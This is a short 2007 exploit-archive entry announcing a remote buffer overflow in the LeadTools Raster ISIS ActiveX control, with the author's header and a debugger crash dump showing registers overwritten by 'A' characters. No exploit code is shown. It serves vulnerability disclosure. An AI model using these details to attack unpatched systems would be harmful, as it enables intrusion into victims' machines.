2007/05/27

----------------------------------------------------------------------------------------- LeadTools Raster ISIS Object (LTRIS14e.DLL v. 14.5.0.44) Remote Buffer Overflow Exploit url: http://www.leadtools.com/ price: eheheh, take a look at thier site :) author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7 all software that use this ocx are vulnerable to this exploits. ----------------------------------------------------------------------------------------- here is a dump: EAX 41414141 ECX 41414141 EDX 008CC338 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" EBX 008C0000 ESP 0348F994 EBP 0348FBB4 ESI 008CC330 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" EDI 00000012 EIP 7C92142E ntdll.7C92142E 7C92142E 8B39 MOV EDI,DWORD PTR DS:[ECX] <-- CRASH